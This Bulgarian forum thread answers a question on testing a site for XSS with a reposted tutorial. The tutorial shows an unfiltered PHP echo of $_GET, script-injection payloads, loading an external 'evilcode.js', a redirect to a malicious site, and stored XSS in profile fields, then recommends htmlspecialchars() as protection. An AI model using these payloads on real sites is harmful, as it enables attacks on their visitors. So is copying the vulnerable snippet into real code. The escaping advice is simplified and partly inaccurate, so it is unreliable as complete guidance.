Как мога да разбера, дали сайтът ми е уязвим към XSS атаки?

cappy_

Registered
Значи един съгражданин ми написа една системка, каза, че я е защитил от XSS Атаки, но му нямам вяра, и искам някак си да разбера дали е уязвима.. идеи?
 
cappy_ каза:
Значи един съгражданин ми написа една системка, каза, че я е защитил от XSS Атаки, но му нямам вяра, и искам някак си да разбера дали е уязвима.. идеи?
Където има html form-и, например търсачки, полета за регистраций, или след index.php?= (например) напиши <script>alert(/xss/);</script> и натисни enter - ако ти се появи алерт прозорец с текст /xss/ значи сайта е уязвим. Защитата :
XSS атаки
Сега ще ви раскажа какво e XSS,как се exploit-ва,и как да се защитим.
Да почнем от това какво е XSS - XSS се превежда като (X)Cross Site Scripting (Междусайтово Скриптиране).
В днешно време,доста голяма част от Българските сайтове не отделят внимание на този тип проблем.Смятат го са незначителен.
Но всъщност проблема е доста коварен,и може да доведе до големи проблеми,за по големите сайтова като Facebook,Twitter и други.
Какво представлява то.Нека представим че имате сайт,в този сайт има $_GET['name'],примерно.Това $_GET['name'],се print()-ва във RAW форма
без филтриране и други глупости.

Код:
<?php
print $_GET['name'];
?>
Сещате се,че може вместо някое име,да добавим примерно:
Код:
index.php?name=<h1>I HACKED YOU</h1>
И ще получим
ihacked.png

Можем и да го поуформим малко...
Код:
index.php?name=<div align=center><font size=72>I HACKED YOU</font></div>
Резултат
ihackedf.png

Както виждате,това е доста безполезно,защото така няма,да направим нещо разрушително.За тази цел,ще ползваме JavaScript.
Тъй като JS,се изпълнява от страната на клиента,то това дава на "хакера",предимства.
Във (X)HTML,JS се вгражда по следния начин,
Код:
<script>....</script>
Или ако искамте скрипта от външен източник
Код:
<script src=http://xxx.js></script>
Метода от външен източник е най полезен,когато print()-a филтрира кавичките.
Нека пробваме един simple,метод:
Код:
index.php?name=<script>alert(/xss/)</script>
Уаля
alert.png

Тъй като print()-а филтрира кавичките,на нас ни трябва external file.
За тази цел,създаваме файл evilcode.js на някой сървър (може и локален).
В него пишеме следното:
Код:
var str = "Hello World";
document.write(str);
И го добавяме по средством:
Код:
<script src=http://127.0.0.1/zapprotect/XSS/evilcode.js></script>
Резултат:
result.png

Това не ни носи кой знае какви резултати,но ако модефицираме скрипта,да прави по разрушителни неща като.
Код:
window.location = "Virus Site";
Това ще ни пренасочи към Virus Site,който съръжда максимално количество зловреден код.
Има два вида XSS атаки.Активни и Пасивни.
Това което демонстрирах е активния тип,жертвата трябва да мине през този Link,за да има резултат.
Пасивния тип:
Примерно имаме система,и там има профили.Във профила има полета като "Местоположение","Дата на раждане","Подпис" и т.н.
Teзи полета не са защитени,следователно,можем да впишем,нашия зловреден код вътре,което ще довете до горния резултат,но
жервата НЕ трябва да посещава нашия "лош" линк.
Защита
Защитата срещу това е достатъчно проста....
Параметрите като $_POST[]/$_GET[] могат да се филтрират с помоща на функцията
Код:
htmlspecialchars()
Ако php кода ни ще съдържа:
Код:
<?php
print htmlspecialchars($_GET['name']);
?>
То всичко,което съдържа:
Код:
<,>,',",&
Ще се заменя със:
Код:
&lt,&gt,',&quot,&amp
Това ще ни обезопаси,достатъчно,срещу такива неприятни случай.
The End :)
Автор:Elven`\Elfinity
 

Back
Горе